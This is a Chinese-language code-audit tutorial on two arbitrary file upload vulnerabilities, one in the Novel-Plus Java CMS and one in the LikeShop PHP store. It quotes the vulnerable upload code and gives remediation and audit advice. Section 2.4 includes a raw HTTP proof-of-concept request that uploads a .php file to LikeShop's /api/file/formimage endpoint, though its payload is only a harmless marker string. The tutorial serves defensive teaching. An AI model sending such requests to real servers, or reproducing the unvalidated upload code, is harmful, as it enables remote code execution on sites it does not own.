代码审计 | novel-plus(CNVD-2024-09639)和likeshop(CNNVD-2024-01765)
字数 1626 2025-08-20 18:17:31
Novel-Plus与LikeShop代码审计与漏洞分析教学文档
1. Novel-Plus任意文件上传漏洞(CNVD-2024-09639)
1.1 漏洞描述
Novel-Plus是一个多端(PC、WAP)阅读、功能完善的小说CMS系统。在com.java2nb.common.controller.FileController的upload()方法中,处理fileName参数时存在任意文件上传漏洞。远程攻击者可以构造特殊请求上传任意文件,并以系统上下文执行任意代码。
1.2 漏洞定位
漏洞位于com.java2nb.common.controller.FileController类的upload()方法:
@ResponseBody
@PostMapping("/upload")
R upload(@RequestParam("file") MultipartFile file, HttpServletRequest request) {
if ("test".equals(getUsername())) {
return R.error(1, "演示系统不允许修改,完整体验请部署程序");
}
Date date = new Date();
String year = DateUtils.format(date, DateUtils.YEAR_PATTERN);
String month = DateUtils.format(date, DateUtils.MONTH_PATTERN);
String day = DateUtils.format(date, DateUtils.DAY_PATTERN);
String fileName = file.getOriginalFilename();
String fileDir = year + "/" + month + "/" + day + "/";
fileName = FileUtil.renameToUUID(fileName);
FileDO sysFile = new FileDO(FileType.fileType(fileName), Constant.UPLOAD_FILES_PREFIX + fileDir + fileName, date);
try {
FileUtil.uploadFile(file.getBytes(), jnConfig.getUploadPath() + fileDir, fileName);
} catch (Exception e) {
return R.error();
}
if (sysFileService.save(sysFile) > 0) {
return R.ok().put("fileName", sysFile.getUrl());
}
return R.error();
}
1.3 漏洞分析
- 方法接收一个
MultipartFile类型的文件参数 - 获取原始文件名
file.getOriginalFilename() - 使用
FileUtil.renameToUUID()重命名文件,但未对文件类型进行任何过滤 - 调用
FileUtil.uploadFile()方法上传文件
FileUtil.uploadFile()方法实现:
public static void uploadFile(byte[] file, String filePath, String fileName) throws Exception {
File targetFile = new File(filePath);
if (!targetFile.exists()) {
targetFile.mkdirs();
}
FileOutputStream out = new FileOutputStream(filePath + fileName);
out.write(file);
out.flush();
out.close();
}
该方法直接将文件内容写入服务器,没有任何安全校验。
1.4 漏洞利用
攻击者可以构造恶意请求上传任意文件(如.jsp、.php等),上传后可通过访问上传的文件路径执行任意代码。
1.5 修复建议
- 实现文件类型白名单验证
- 对上传文件内容进行检查
- 限制上传目录的执行权限
- 对上传文件进行重命名(已部分实现)
2. LikeShop任意文件上传漏洞(CNNVD-2024-01765)
2.1 漏洞描述
LikeShop存在任意文件上传漏洞,攻击者可以通过构造特殊请求上传恶意文件,导致远程代码执行。
2.2 漏洞定位
漏洞位于/server/application/api/controller/file文件的formImage函数:
public function formImage() {
$data = FileServer::userFormImage($this->user_id);
$this->_success($data['msg'], $data['data'], $data['code']);
}
跟进userFormImage函数:
public static function userFormImage($user_id = 0, $save_dir='uploads/user') {
try {
$config = [
'default' => ConfigServer::get('storage', 'default', 'local'),
'engine' => ConfigServer::get('storage_engine')
];
if (empty($config['engine']['local'])) {
$config['engine']['local'] = [];
}
$StorageDriver = new StorageDriver($config);
$StorageDriver->setUploadFile('file');
if (!$StorageDriver->upload($save_dir)) {
throw new Exception('图片上传失败' . $StorageDriver->getError());
}
// 图片上传路径
$fileName = $StorageDriver->getFileName();
// 图片信息
$fileInfo = $StorageDriver->getFileInfo();
// 记录图片信息
$data = [
'user_id' => $user_id ? $user_id : 0,
'name' => $fileInfo['name'],
'type' => File::type_image,
'uri' => $save_dir . '/' . str_replace($save_dir . '/', '', $fileName),
'create_time' => time(),
];
Db::name('user_file')->insert($data);
$result['url'] = UrlServer::getFileUrl($data['uri']);
$result['base_url'] = $data['uri'];
$result['name'] = $data['name'];
return self::dataSuccess('上传文件成功', $result);
} catch (\Exception $e) {
$message = lang($e->getMessage()) ?? $e->getMessage();
return self::dataError('上传文件失败:' . $message);
}
}
2.3 漏洞分析
- 使用
StorageDriver处理文件上传 - 未对上传文件类型进行有效验证
- 虽然函数名和变量名暗示只处理图片,但实际未限制文件类型
- 攻击者可上传任意文件类型(如PHP文件)
2.4 漏洞利用
构造恶意请求上传PHP文件:
POST /api/file/formimage HTTP/2
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip, deflate
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="test.php"
Content-Type: application/x-php
This page has a vulnerability!
------WebKitFormBoundarygcflwtei--
2.5 修复建议
- 实现文件类型白名单验证(如仅允许.jpg/.png等图片格式)
- 对上传文件内容进行检查,确保是有效的图片文件
- 限制上传目录的执行权限
- 对上传文件进行重命名
3. 代码审计技巧总结
3.1 文件上传漏洞常见审计点
- 查找文件上传功能点
- 检查是否有文件类型验证
- 检查是否有内容验证
- 检查上传路径是否可控
- 检查上传后的文件处理逻辑
3.2 漏洞修复方案
- 白名单验证:只允许特定的安全文件类型
- 内容检查:对文件内容进行验证(如图片必须包含有效的图片头)
- 重命名:上传文件使用随机名称,避免覆盖和路径猜测
- 权限控制:上传目录禁止执行权限
- 文件隔离:将上传文件存储在Web根目录之外
3.3 审计工具与方法
- 静态分析:通过代码搜索定位关键函数
- 动态调试:结合运行时的行为分析
- 补丁对比:对比修复前后的代码变化
- 框架特性:了解所用框架的安全机制和常见问题
4. 扩展发现
在审计Novel-Plus过程中,还发现了另一个漏洞并获得CVE编号:CVE-2024-33383。这表明深入审计往往能发现多个安全问题。
5. 总结
本教学文档详细分析了Novel-Plus和LikeShop的两个文件上传漏洞,包括漏洞描述、定位、分析和修复方案。通过这两个案例,我们可以学习到:
- 文件上传功能必须进行严格的安全控制
- 仅靠前端验证是不够的,必须实现服务端验证
- 代码审计需要关注数据处理的全流程
- 漏洞修复应采取多层次防御措施
代码审计是一个需要耐心和细致的工作,通过不断学习和实践,可以提升发现安全问题的能力。